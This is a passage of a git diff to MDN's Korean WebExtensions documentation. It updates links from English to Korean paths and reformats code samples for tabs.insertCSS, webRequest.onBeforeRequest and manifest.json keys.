-  - : Sets up a messaging connection between the extension's background scripts (or other privileged scripts, such as popup scripts or options page scripts) and any [content scripts](/en-US/docs/Mozilla/Add-ons/WebExtensions/Content_scripts) running in the specified tab.
+  - : Sets up a messaging connection between the extension's background scripts (or other privileged scripts, such as popup scripts or options page scripts) and any [content scripts](/ko/docs/Mozilla/Add-ons/WebExtensions/Content_scripts) running in the specified tab.
 - {{WebExtAPIRef("tabs.create()")}}
   - : Creates a new tab.
 - {{WebExtAPIRef("tabs.detectLanguage()")}}
@@ -76,9 +76,9 @@ You can use most of this API without any special permission. However:
 - {{WebExtAPIRef("tabs.getAllInWindow()")}} {{deprecated_inline}}
   - : Gets details about all tabs in the specified window.
 - {{WebExtAPIRef("tabs.getCurrent()")}}
-  - : Gets information about the tab that this script is running in, as a [`tabs.Tab`](/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/Tab) object.
+  - : Gets information about the tab that this script is running in, as a [`tabs.Tab`](/ko/docs/Mozilla/Add-ons/WebExtensions/API/tabs/Tab) object.
 - {{WebExtAPIRef("tabs.getSelected()")}} {{deprecated_inline}}
-  - : Gets the tab that is selected in the specified window. **Deprecated: use [`tabs.query({active: true})`](/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/query) instead.**
+  - : Gets the tab that is selected in the specified window. **Deprecated: use [`tabs.query({active: true})`](/ko/docs/Mozilla/Add-ons/WebExtensions/API/tabs/query) instead.**
 - {{WebExtAPIRef("tabs.getZoom()")}}
   - : Gets the current zoom factor of the specified tab.
 - {{WebExtAPIRef("tabs.getZoomSettings()")}}
diff --git a/files/ko/mozilla/add-ons/webextensions/api/tabs/insertcss/index.md b/files/ko/mozilla/add-ons/webextensions/api/tabs/insertcss/index.md
index 948542b86678ad..9733d9e25a688f 100644
--- a/files/ko/mozilla/add-ons/webextensions/api/tabs/insertcss/index.md
+++ b/files/ko/mozilla/add-ons/webextensions/api/tabs/insertcss/index.md
@@ -11,21 +11,21 @@ slug: Mozilla/Add-ons/WebExtensions/API/tabs/insertCSS
 
 이 API를 사용하기 위해 여러분은 해당 페이지 URL에 대한 허가가 필요합니다. 이 허가에 대한 요청은 [호스트 허가](/en-US/Add-ons/WebExtensions/manifest.json/permissions#Host_permissions)를 통하거나 [활성화 된 탭 허가](/en-US/Add-ons/WebExtensions/manifest.json/permissions#activeTab_permission)을 사용할 수도 있습니다.
 
-You can only inject CSS into pages whose URL can be expressed using a [match pattern](/en-US/docs/Mozilla/Add-ons/WebExtensions/Match_patterns): meaning, its scheme must be one of "http", "https", or "file". This means that you can't inject CSS into any of the browser's built-in pages, such as about:debugging, about:addons, or the page that opens when you open a new empty tab.
+You can only inject CSS into pages whose URL can be expressed using a [match pattern](/ko/docs/Mozilla/Add-ons/WebExtensions/Match_patterns): meaning, its scheme must be one of "http", "https", or "file". This means that you can't inject CSS into any of the browser's built-in pages, such as about:debugging, about:addons, or the page that opens when you open a new empty tab.
 
 > **Note:** Firefox resolves URLs in injected CSS files relative to the CSS file itself, rather than to the page it's injected into.
 
 The inserted CSS may be removed again by calling {{WebExtAPIRef("tabs.removeCSS()")}}.
 
-This is an asynchronous function that returns a [`Promise`](/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise) (on Firefox only).
+This is an asynchronous function that returns a [`Promise`](/ko/docs/Web/JavaScript/Reference/Global_Objects/Promise) (on Firefox only).
 
 ## Syntax
 
 ```js
 let inserting = browser.tabs.insertCSS(
-  tabId,           // optional integer
-  details          // object
-)
+  tabId, // optional integer
+  details, // object
+);
 ```
 
 ### Parameters
@@ -44,7 +44,7 @@ let inserting = browser.tabs.insertCSS(
 
       - : `string`. This can take one of two values: "user", to add the CSS as a user stylesheet or "author" to add it as an author stylesheet. If this option is omitted, the CSS is added as an author stylesheet.
 
-        - "user" enables you to prevent websites from overriding the CSS you insert: see [Cascading order](/en-US/docs/Web/CSS/Cascade#cascading_order).
+        - "user" enables you to prevent websites from overriding the CSS you insert: see [Cascading order](/ko/docs/Web/CSS/Cascade#cascading_order).
         - "author" stylesheets behave as if they appear after all author rules specified by the web page. This behavior includes any author stylesheets added dynamically by the page's scripts, even if that addition happens after the `insertCSS` call completes.
 
     - `file` {{optional_inline}}
@@ -58,7 +58,7 @@ let inserting = browser.tabs.insertCSS(
 
 ### Return value
 
-A [`Promise`](/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise) that will be fulfilled with no arguments when all the CSS has been inserted. If any error occurs, the promise will be rejected with an error message.
+A [`Promise`](/ko/docs/Web/JavaScript/Reference/Global_Objects/Promise) that will be fulfilled with no arguments when all the CSS has been inserted. If any error occurs, the promise will be rejected with an error message.
 
 ## Examples
 
@@ -68,12 +68,11 @@ This example inserts into the currently active tab CSS which is taken from a str
 let css = "body { border: 20px dotted pink; }";
 
 browser.browserAction.onClicked.addListener(() => {
-
   function onError(error) {
     console.log(`Error: ${error}`);
   }
 
-  let insertingCSS = browser.tabs.insertCSS({code: css});
+  let insertingCSS = browser.tabs.insertCSS({ code: css });
   insertingCSS.then(null, onError);
 });
 ```
@@ -82,12 +81,11 @@ This example inserts CSS which is loaded from a file packaged with the extension
 
 ```js
 browser.browserAction.onClicked.addListener(() => {
-
   function onError(error) {
     console.log(`Error: ${error}`);
   }
 
-  let insertingCSS = browser.tabs.insertCSS(2, {file: "content-style.css"});
+  let insertingCSS = browser.tabs.insertCSS(2, { file: "content-style.css" });
   insertingCSS.then(null, onError);
 });
 ```
diff --git a/files/ko/mozilla/add-ons/webextensions/api/webrequest/index.md b/files/ko/mozilla/add-ons/webextensions/api/webrequest/index.md
index b06095ff1f989b..c3d6b82e07c692 100644
--- a/files/ko/mozilla/add-ons/webextensions/api/webrequest/index.md
+++ b/files/ko/mozilla/add-ons/webextensions/api/webrequest/index.md
@@ -88,7 +88,7 @@ To do this, you must have the "webRequestBlocking" API permission as well as the
 ## Properties
 
 - {{WebExtAPIRef("webRequest.MAX_HANDLER_BEHAVIOR_CHANGED_CALLS_PER_10_MINUTES", "webRequest.MAX_HANDLER_BEHAVIOR_CHANGED_CALLS_PER_10_MINUTES")}}
-  - : The maximum number of times that <code><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/WebRequest/handlerBehaviorChanged" title="Suppose an add-on&#x27;s job is to block web requests against a pattern, and the following scenario happens:"><code>handlerBehaviorChanged()</code></a></code> can be called in a 10 minute period.
+  - : The maximum number of times that <code><a href="https://developer.mozilla.org/ko/docs/Mozilla/Add-ons/WebExtensions/API/WebRequest/handlerBehaviorChanged" title="Suppose an add-on&#x27;s job is to block web requests against a pattern, and the following scenario happens:"><code>handlerBehaviorChanged()</code></a></code> can be called in a 10 minute period.
 
 ## Methods
 
diff --git a/files/ko/mozilla/add-ons/webextensions/api/webrequest/onbeforerequest/index.md b/files/ko/mozilla/add-ons/webextensions/api/webrequest/onbeforerequest/index.md
index bd95cb82a82334..4ca0f65824c820 100644
--- a/files/ko/mozilla/add-ons/webextensions/api/webrequest/onbeforerequest/index.md
+++ b/files/ko/mozilla/add-ons/webextensions/api/webrequest/onbeforerequest/index.md
@@ -12,24 +12,24 @@ To cancel or redirect the request, first include `"blocking"` in the `extraInfoS
 - to cancel the request, include a property `cancel` with the value `true`.
 - to redirect the request, include a property `redirectUrl` with the value set to the URL to which you want to redirect.
 
-If an extension wants to redirect a public (e.g. HTTPS) URL to an [extension page](/en-US/docs/Mozilla/Add-ons/WebExtensions/user_interface/Extension_pages), the extension's manifest.json file must contain a [web_accessible_resources](/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/web_accessible_resources) key that lists the URL for the extension page.
+If an extension wants to redirect a public (e.g. HTTPS) URL to an [extension page](/ko/docs/Mozilla/Add-ons/WebExtensions/user_interface/Extension_pages), the extension's manifest.json file must contain a [web_accessible_resources](/ko/docs/Mozilla/Add-ons/WebExtensions/manifest.json/web_accessible_resources) key that lists the URL for the extension page.
 
 When multiple blocking handlers modify a request, only one set of modifications take effect. Redirects and cancellations have the same precedence. So if you canceled a request, you might see another request with the same `requestId` again if another blocking handler redirected the request.
 
-From Firefox 52 onwards, instead of returning `BlockingResponse`, the listener can return a [`Promise`](/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise) which is resolved with a `BlockingResponse`. This enables the listener to process the request asynchronously.
+From Firefox 52 onwards, instead of returning `BlockingResponse`, the listener can return a [`Promise`](/ko/docs/Web/JavaScript/Reference/Global_Objects/Promise) which is resolved with a `BlockingResponse`. This enables the listener to process the request asynchronously.
 
-If you use `"blocking"`, you must have the ["webRequestBlocking" API permission](/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions#api_permissions) in your manifest.json.
+If you use `"blocking"`, you must have the ["webRequestBlocking" API permission](/ko/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions#api_permissions) in your manifest.json.
 
 ## Syntax
 
 ```js
 browser.webRequest.onBeforeRequest.addListener(
-  listener,             // function
-  filter,               //  object
-  extraInfoSpec         //  optional array of strings
-)
-browser.webRequest.onBeforeRequest.removeListener(listener)
-browser.webRequest.onBeforeRequest.hasListener(listener)
+  listener, // function
+  filter, //  object
+  extraInfoSpec, //  optional array of strings
+);
+browser.webRequest.onBeforeRequest.removeListener(listener);
+browser.webRequest.onBeforeRequest.hasListener(listener);
 ```
 
 Events have three functions:
@@ -52,7 +52,7 @@ Events have three functions:
     - `details`
       - : [`object`](#details). Details about the request. See [`details`](#details_2) below.
 
-    Returns: {{WebExtAPIRef('webRequest.BlockingResponse')}}. If `"blocking"` is specified in the `extraInfoSpec` parameter, the event listener should return a `BlockingResponse` object, and can set either its `cancel` or its `redirectUrl` properties. From Firefox 52 onwards, instead of returning `BlockingResponse`, the listener can return a [`Promise`](/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise) which is resolved with a `BlockingResponse`. This enables the listener to process the request asynchronously.
+    Returns: {{WebExtAPIRef('webRequest.BlockingResponse')}}. If `"blocking"` is specified in the `extraInfoSpec` parameter, the event listener should return a `BlockingResponse` object, and can set either its `cancel` or its `redirectUrl` properties. From Firefox 52 onwards, instead of returning `BlockingResponse`, the listener can return a [`Promise`](/ko/docs/Web/JavaScript/Reference/Global_Objects/Promise) which is resolved with a `BlockingResponse`. This enables the listener to process the request asynchronously.
 
 - `filter`
   - : {{WebExtAPIRef('webRequest.RequestFilter')}}. A filter that restricts the events that will be sent to this listener.
@@ -175,20 +175,19 @@ Regarding DNS resolution when BlockingResponse is used with OnBeforeRequest: In
 
 ## Examples
 
-This code logs the URL for every resource requested which matches the [\<all_urls>](/en-US/docs/Mozilla/Add-ons/WebExtensions/Match_patterns#all_urls) pattern:
+This code logs the URL for every resource requested which matches the [\<all_urls>](/ko/docs/Mozilla/Add-ons/WebExtensions/Match_patterns#all_urls) pattern:
 
 ```js
 function logURL(requestDetails) {
   console.log(`Loading: ${requestDetails.url}`);
 }
 
-browser.webRequest.onBeforeRequest.addListener(
-  logURL,
-  {urls: ["<all_urls>"]}
-);
+browser.webRequest.onBeforeRequest.addListener(logURL, {
+  urls: ["<all_urls>"],
+});
 ```
 
-This code cancels requests for images that are made to URLs under "https\://mdn.mozillademos.org/" (to see the effect, visit any page on MDN that contains images, such as [webRequest](/en-US/docs/Mozilla/Add-ons/WebExtensions/API/webRequest)):
+This code cancels requests for images that are made to URLs under "https\://mdn.mozillademos.org/" (to see the effect, visit any page on MDN that contains images, such as [webRequest](/ko/docs/Mozilla/Add-ons/WebExtensions/API/webRequest)):
 
 ```js
 // match pattern for the URLs to redirect
@@ -205,12 +204,12 @@ function cancel(requestDetails) {
 // passing the filter argument and "blocking"
 browser.webRequest.onBeforeRequest.addListener(
   cancel,
-  {urls: [pattern], types: ["image"]},
-  ["blocking"]
+  { urls: [pattern], types: ["image"] },
+  ["blocking"],
 );
 ```
 
-This code replaces, by redirection, all network requests for images that are made to URLs under "https\://mdn.mozillademos.org/" (to see the effect, visit any page on MDN that contains images, such as [webRequest](/en-US/docs/Mozilla/Add-ons/WebExtensions/API/webRequest)):
+This code replaces, by redirection, all network requests for images that are made to URLs under "https\://mdn.mozillademos.org/" (to see the effect, visit any page on MDN that contains images, such as [webRequest](/ko/docs/Mozilla/Add-ons/WebExtensions/API/webRequest)):
 
 ```js
 // match pattern for the URLs to redirect
@@ -222,7 +221,8 @@ let pattern = "https://mdn.mozillademos.org/*";
 function redirect(requestDetails) {
   console.log(`Redirecting: ${requestDetails.url}`);
   return {
-    redirectUrl: "https://38.media.tumblr.com/tumblr_ldbj01lZiP1qe0eclo1_500.gif"
+    redirectUrl:
+      "https://38.media.tumblr.com/tumblr_ldbj01lZiP1qe0eclo1_500.gif",
   };
 }
 
@@ -230,19 +230,20 @@ function redirect(requestDetails) {
 // passing the filter argument and "blocking"
 browser.webRequest.onBeforeRequest.addListener(
   redirect,
-  {urls:[pattern], types:["image"]},
-  ["blocking"]
+  { urls: [pattern], types: ["image"] },
+  ["blocking"],
 );
 ```
 
-This code is exactly like the previous example, except that the listener handles the request asynchronously. It returns a [`Promise`](/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise) that sets a timer, and resolves with the redirect URL when the timer expires:
+This code is exactly like the previous example, except that the listener handles the request asynchronously. It returns a [`Promise`](/ko/docs/Web/JavaScript/Reference/Global_Objects/Promise) that sets a timer, and resolves with the redirect URL when the timer expires:
 
 ```js
 // match pattern for the URLs to redirect
 let pattern = "https://mdn.mozillademos.org/*";
 
 // URL we will redirect to
-let redirectUrl = "https://38.media.tumblr.com/tumblr_ldbj01lZiP1qe0eclo1_500.gif";
+let redirectUrl =
+  "https://38.media.tumblr.com/tumblr_ldbj01lZiP1qe0eclo1_500.gif";
 
 // redirect function returns a Promise
 // which is resolved with the redirect URL when a timer expires
@@ -259,8 +260,8 @@ function redirectAsync(requestDetails) {
 // passing the filter argument and "blocking"
 browser.webRequest.onBeforeRequest.addListener(
   redirectAsync,
-  {urls: [pattern], types: ["image"]},
-  ["blocking"]
+  { urls: [pattern], types: ["image"] },
+  ["blocking"],
 );
 ```
 
@@ -283,8 +284,8 @@ function listener(details) {
 
 browser.webRequest.onBeforeRequest.addListener(
   listener,
-  {urls: [pattern], types: ["image"]},
-  ["blocking"]
+  { urls: [pattern], types: ["image"] },
+  ["blocking"],
 );
 ```
 
@@ -292,7 +293,7 @@ Here's another version:
 
 ```js
 function randomColor() {
-  return `#${Math.floor(Math.random()*16777215).toString(16)}`;
+  return `#${Math.floor(Math.random() * 16777215).toString(16)}`;
 }
 
 const pattern = "https://mdn.mozillademos.org/*";
@@ -310,8 +311,8 @@ function listener(details) {
 
 browser.webRequest.onBeforeRequest.addListener(
   listener,
-  {urls: [pattern], types: ["image"]},
-  ["blocking"]
+  { urls: [pattern], types: ["image"] },
+  ["blocking"],
 );
 ```
 
diff --git a/files/ko/mozilla/add-ons/webextensions/examples/index.md b/files/ko/mozilla/add-ons/webextensions/examples/index.md
index 18bcc582b69100..a62bb93dd5aba4 100644
--- a/files/ko/mozilla/add-ons/webextensions/examples/index.md
+++ b/files/ko/mozilla/add-ons/webextensions/examples/index.md
@@ -2,6 +2,7 @@
 title: Example extensions
 slug: Mozilla/Add-ons/WebExtensions/Examples
 ---
+
 {{AddonSidebar}}
 
 확장앱 개발하는 방법을 설명하기 위해 간단한 예제를 저장해놓은 저장소를 두고 있다 <https://github.com/mdn/webextensions-examples>. 이번장에서는 해당 저장소에서 사용되는 WebExtension API에 대해 설명한다.
diff --git a/files/ko/mozilla/add-ons/webextensions/index.md b/files/ko/mozilla/add-ons/webextensions/index.md
index 988dde8bd85771..a7f4a259faf2cb 100644
--- a/files/ko/mozilla/add-ons/webextensions/index.md
+++ b/files/ko/mozilla/add-ons/webextensions/index.md
@@ -2,6 +2,7 @@
 title: WebExtensions
 slug: Mozilla/Add-ons/WebExtensions
 ---
+
 {{AddonSidebar}}
 
 Extension(이하 확장기능)은 브라우저의 기능을 확장하고 수정할 수 있습니다. Firefox 를 위한 확장기능은 확장 기능 개발을 위한 크로스 브라우저 시스템인 WebExtension API를 이용하여 만들어졌습니다. 이 시스템은 Google Chrome, Opera 및 [W3C Draft Community Group](https://browserext.github.io/browserext/)에서 지원하는 [extension API](https://developer.chrome.com/extensions) 와 대부분 호환됩니다. 그러므로 Google Chrome과 Opera를 대상으로 만들어진 확장기능은 [조금만 수정](/en-US/Add-ons/WebExtensions/Porting_from_Google_Chrome)하면 대부분 Firefox나 [Microsoft Edge](https://developer.microsoft.com/en-us/microsoft-edge/platform/documentation/extensions/)에서도 동작합니다. 또한 extension API는 [멀티프로세스 Firefox](/en-US/Firefox/Multiprocess_Firefox)와도 완벽하게 호환됩니다.
@@ -14,9 +15,9 @@ Extension(이하 확장기능)은 브라우저의 기능을 확장하고 수정
 - [첫번째 확장기능](/en-US/Add-ons/WebExtensions/Your_first_WebExtension)
 - [두번째 확장기능](/en-US/Add-ons/WebExtensions/Your_second_WebExtension)
 - [확장기능의 구조](/en-US/Add-ons/WebExtensions/Anatomy_of_a_WebExtension)
-- [파이어폭스 개발 로드맵](/en-US/docs/Mozilla/Add-ons/WebExtensions/Firefox_workflow_overview)
+- [파이어폭스 개발 로드맵](/ko/docs/Mozilla/Add-ons/WebExtensions/Firefox_workflow_overview)
 - [확장기능의 예시](/en-US/Add-ons/WebExtensions/Examples)
-- [그 다음은?](/en-US/docs/Mozilla/Add-ons/WebExtensions/What_next_)
+- [그 다음은?](/ko/docs/Mozilla/Add-ons/WebExtensions/What_next_)
 
 ## 개념
 
diff --git a/files/ko/mozilla/add-ons/webextensions/manifest.json/content_scripts/index.md b/files/ko/mozilla/add-ons/webextensions/manifest.json/content_scripts/index.md
index 9868f471830445..1657843111cd9a 100644
--- a/files/ko/mozilla/add-ons/webextensions/manifest.json/content_scripts/index.md
+++ b/files/ko/mozilla/add-ons/webextensions/manifest.json/content_scripts/index.md
@@ -35,7 +35,7 @@ slug: Mozilla/Add-ons/WebExtensions/manifest.json/content_scripts
   </tbody>
 </table>
 
-Instructs the browser to load [content scripts](/en-US/docs/Mozilla/Add-ons/WebExtensions/Content_scripts) into web pages whose URL matches a given pattern.
+Instructs the browser to load [content scripts](/ko/docs/Mozilla/Add-ons/WebExtensions/Content_scripts) into web pages whose URL matches a given pattern.
 
 This key is an array. Each item is an object which:
 
@@ -131,7 +131,7 @@ Details of all the keys you can include are given in the table below.
       <td><code>Array</code></td>
       <td>
         An array of
-        <a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Match_patterns"
+        <a href="/ko/docs/Mozilla/Add-ons/WebExtensions/Match_patterns"
           >match patterns</a
         >. See <a href="#matching_url_patterns">Matching URL patterns</a> below.
       </td>
@@ -232,7 +232,7 @@ Details of all the keys you can include are given in the table below.
       <td>
         <p>
           An array of
-          <a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Match_patterns"
+          <a href="/ko/docs/Mozilla/Add-ons/WebExtensions/Match_patterns"
             >match patterns</a
           >. See
           <a href="#matching_url_patterns">Matching URL patterns</a> below.
@@ -287,9 +287,9 @@ Details of all the keys you can include are given in the table below.
 The `"content_scripts"` key attaches content scripts to documents based on URL matching: if the document's URL matches the specification in the key, then the script will be attached. There are four properties inside `"content_scripts"` that you can use for this specification:
 
 - `matches`
-  - : an array of [match patterns](/en-US/docs/Mozilla/Add-ons/WebExtensions/Match_patterns)
+  - : an array of [match patterns](/ko/docs/Mozilla/Add-ons/WebExtensions/Match_patterns)
 - `exclude_matches`
-  - : an array of [match patterns](/en-US/docs/Mozilla/Add-ons/WebExtensions/Match_patterns)
+  - : an array of [match patterns](/ko/docs/Mozilla/Add-ons/WebExtensions/Match_patterns)
 - `include_globs`
   - : an array of [globs](#globs)
 - `exclude_globs`
diff --git a/files/ko/mozilla/add-ons/webextensions/manifest.json/index.md b/files/ko/mozilla/add-ons/webextensions/manifest.json/index.md
index e6076bb265c84a..82f3df7f84f504 100644
--- a/files/ko/mozilla/add-ons/webextensions/manifest.json/index.md
+++ b/files/ko/mozilla/add-ons/webextensions/manifest.json/index.md
@@ -23,77 +23,75 @@ manifest.json에 지원되는 키들은 아래와 같습니다.
 
 ```json
 {
-
-    "applications": {
-      "gecko": {
-        "id": "addon@example.com",
-          "strict_min_version": "42.0",
-          "strict_max_version": "50.*",
-          "update_url": "https://example.com/updates.json"
-      }
-    },
-
-    "background": {
-        "scripts": ["jquery.js", "my-background.js"],
-        "page": "my-background.html"
+  "applications": {
+    "gecko": {
+      "id": "addon@example.com",
+      "strict_min_version": "42.0",
+      "strict_max_version": "50.*",
+      "update_url": "https://example.com/updates.json"
+    }
+  },
+
+  "background": {
+    "scripts": ["jquery.js", "my-background.js"],
+    "page": "my-background.html"
+  },
+
+  "browser_action": {
+    "default_icon": {
+      "19": "button/geo-19.png",
+      "38": "button/geo-38.png"
     },
-
-    "browser_action": {
-      "default_icon": {
-        "19": "button/geo-19.png",
-        "38": "button/geo-38.png"
+    "default_title": "Whereami?",
+    "default_popup": "popup/geo.html"
+  },
+
+  "commands": {
+    "toggle-feature": {
+      "suggested_key": {
+        "default": "Ctrl+Shift+Y",
+        "linux": "Ctrl+Shift+U"
       },
-      "default_title": "Whereami?",
-      "default_popup": "popup/geo.html"
-    },
+      "description": "Send a 'toggle-feature' event"
+    }
+  },
 
-    "commands": {
-      "toggle-feature": {
-        "suggested_key": {
-          "default": "Ctrl+Shift+Y",
-          "linux": "Ctrl+Shift+U"
-        },
-        "description": "Send a 'toggle-feature' event"
-      }
-    },
-
-    "content_security_policy": "script-src 'self' https://example.com; object-src 'self'",
+  "content_security_policy": "script-src 'self' https://example.com; object-src 'self'",
 
-    "content_scripts": [
-      {
-        "exclude_matches": ["*://developer.mozilla.org/*"],
-        "matches": ["*://*.mozilla.org/*"],
-        "js": ["borderify.js"]
-      }
-    ],
+  "content_scripts": [
+    {
+      "exclude_matches": ["*://developer.mozilla.org/*"],
+      "matches": ["*://*.mozilla.org/*"],
+      "js": ["borderify.js"]
+    }
+  ],
 
-    "default_locale": "en",
+  "default_locale": "en",
 
-    "description": "...",
+  "description": "...",
 
-    "icons": {
-      "48": "icon.png",
-      "96": "icon@2x.png"
-    },
+  "icons": {
+    "48": "icon.png",
+    "96": "icon@2x.png"
+  },
 
-    "manifest_version": 2,
+  "manifest_version": 2,
 
-    "name": "...",
+  "name": "...",
 
-    "page_action": {
-      "default_icon": {
-        "19": "button/geo-19.png",
-        "38": "button/geo-38.png"
-      },
-      "default_title": "Whereami?",
-      "default_popup": "popup/geo.html"
+  "page_action": {
+    "default_icon": {
+      "19": "button/geo-19.png",
+      "38": "button/geo-38.png"
     },
+    "default_title": "Whereami?",
+    "default_popup": "popup/geo.html"
+  },
 
-    "permissions": ["webNavigation"],
-
-    "version": "0.1",
+  "permissions": ["webNavigation"],
 
-    "web_accessible_resources": ["images/my-image.png"]
+  "version": "0.1",
 
+  "web_accessible_resources": ["images/my-image.png"]
 }
 ```
diff --git a/files/ko/mozilla/add-ons/webextensions/manifest.json/page_action/index.md b/files/ko/mozilla/add-ons/webextensions/manifest.json/page_action/index.md
index df8ee80642869c..14042dbea2ee40 100644
--- a/files/ko/mozilla/add-ons/webextensions/manifest.json/page_action/index.md
+++ b/files/ko/mozilla/add-ons/webextensions/manifest.json/page_action/index.md
@@ -54,31 +54,15 @@ slug: Mozilla/Add-ons/WebExtensions/manifest.json/page_action
 
 `page_action`은 세 가지 속성들 중에 몇 가지를 가지는 객체다(역주: 파이어폭스 외의 브라우저에서도 지원되는 속성은 세가지 뿐이다). 모두 선택사항이다:
 
-| Name                                                                                       | Type                                           | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               |
-| ------------------------------------------------------------------------------------------ | ---------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
-| [`browser_style`](/en-US/docs/Mozilla/Add-ons/WebExtensions/user_interface/Browser_styles) | `Boolean`                                      | 선택, 기본값은 `false`.사용하면, 팝업과 브라우저의 UI와 `browser_style`을 사용하는 다른 확장의 모습이 일관되게 보이게 하는 스타일시트를 포함한다. 기본값은 `false`지만 팝업이 브라우저의 다른 UI와 일관되게 하려면, 스타일시트가 포함될 수 있도록 `true`로 하는 것이 권장한다.파이어폭스에서, 이 스타일시트는 chrome://browser/content/extension.css에서 볼 수 있다. OS X에서는 chrome://browser/content/extension-mac.css다.[파이어폭스 스타일 가이드](https://firefoxux.github.io/StyleGuide/#/controls)는 팝업의 요소가 특정 스타일을 갖게하는 클래스들에 대해 설명한다.[최종-다운로드](https://github.com/mdn/webextensions-examples/tree/master/latest-download) 예제 확장 프로그램은 팝업에 `browser_style`을 사용한다.                                                                                                                    |
-| `default_icon`                                                                             | `Object` or `String`                           | 액션이 사용하는 아이콘.권장은 19x19 픽셀과 38x38 픽셀 두 종류가 제공되는 것이다. 아래처럼 각각 "19" 와 "38"이라는 속성 이름을 사용한다:
-<pre class="brush: json">
-"page_action": {
-  "browser_style": true,
-  "default_icon": {
-    "19": "button/geo-19.png",
-    "38": "button/geo-38.png"
-  },
-  "default_title": "Whereami?",
-  "default_popup": "popup/geo.html"
-}</pre>
-이렇게 하면 화면 해상도에 따라 적절한 크기를 사용하게 된다.아래처럼 하나의 문자열로 할 수도 있다:```json
-"default_icon": "geo.png"
-
-```이렇게 하면 툴바에 맞게 크기가 조정될 것이다. 흐릿해질 수 있다.                                                                                                                                                                                                                                                                                                                                       |
-| `default_popup`                                                                            | `String`                                       | 팝업으로 띄울 HTML 파일의 경로.HTML 파일은 일반 웹 페이지처럼 [`<link>`](/en-US/docs/Web/HTML/Element/link)와 [`<script>`](/en-US/docs/Web/HTML/Element/script) 요소를 사용해서 CSS와 자바스크립트를 포함할 수 있다. 하지만 [`<script>`](/en-US/docs/Web/HTML/Element/script) 사이에 코드를 직접 포함하면 Content Violation Policy 에러가 발생하므로, [`src`](/en-US/docs/Web/HTML/Element/script) 속성으로 분리된 스크립트 파일을 올려야 한다.보통의 웹페이지와 달리, 팝업에서 실행되는 자바스크립트는 모든 [WebExtension API](/en-US/Add-ons/WebExtensions/API)를 사용할 수 있다(당연히 필요한 [권한](/ko/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions)을 가져야 한다).이것은 [지역화 가능 속성](/en-US/Add-ons/WebExtensions/Internationalization#Internationalizing_manifest.json)이다. |
-| `default_title`                                                                            | `String`                                       | 아이콘에 마우스가 올려지면 표시되는 툴팁.이것은 [지역화 가능 속성](/en-US/Add-ons/WebExtensions/Internationalization#Internationalizing_manifest.json)이다.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             |
-| `hide_matches`                                                                             | `Array` of `Match Pattern` except `<all_urls>` | 주어진 [선별식](/en-US/Add-ons/WebExtensions/match_patterns)에 맞는 URL에 대해 페이지 액션을 숨긴다.하지만 페이지 액션은 기본적으로 숨겨지고 `show_matches`와 맞아야만 보이기 때문에, `반드시 show_matches`가 있어야 의미가 있다. 이 값은 `show_matches` 일부를 제외하는 역할을 한다. 예를 들어 값이 다음과 같다면:```json
-"page_action": {   "show_matches": ["https://*.mozilla.org/*"],   "hide_matches": ["https://developer.mozilla.org/*"] }
-```기본은 "mozilla.org"인 모든 HTTPS URL에 대해 페이지 액션이 표시되는 것이지만, "developer.mozilla.org"인 경우는 제외라 표시되지 않는다.                                                                                                                                                                                            |
-| `show_matches`                                                                             | `Array` of `Match Pattern`                     | 주어진 패턴에 일치하는 URL에 대해 페이지 액션을 보인다.`hide_matches`도 보기.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      |
-| `pinned`                                                                                   | `Boolean`                                      | 선택, 기본값은 `true`.주소창에 페이지 액션이 기본적으로 나타나는지를 결정한다.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           |
+| Name                                                                                    | Type                                           | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     |
+| --------------------------------------------------------------------------------------- | ---------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| [`browser_style`](/ko/docs/Mozilla/Add-ons/WebExtensions/user_interface/Browser_styles) | `Boolean`                                      | 선택, 기본값은 `false`.사용하면, 팝업과 브라우저의 UI와 `browser_style`을 사용하는 다른 확장의 모습이 일관되게 보이게 하는 스타일시트를 포함한다. 기본값은 `false`지만 팝업이 브라우저의 다른 UI와 일관되게 하려면, 스타일시트가 포함될 수 있도록 `true`로 하는 것이 권장한다.파이어폭스에서, 이 스타일시트는 chrome://browser/content/extension.css에서 볼 수 있다. OS X에서는 chrome://browser/content/extension-mac.css다.[파이어폭스 스타일 가이드](https://firefoxux.github.io/StyleGuide/#/controls)는 팝업의 요소가 특정 스타일을 갖게하는 클래스들에 대해 설명한다.[최종-다운로드](https://github.com/mdn/webextensions-examples/tree/master/latest-download) 예제 확장 프로그램은 팝업에 `browser_style`을 사용한다.                                                                   |
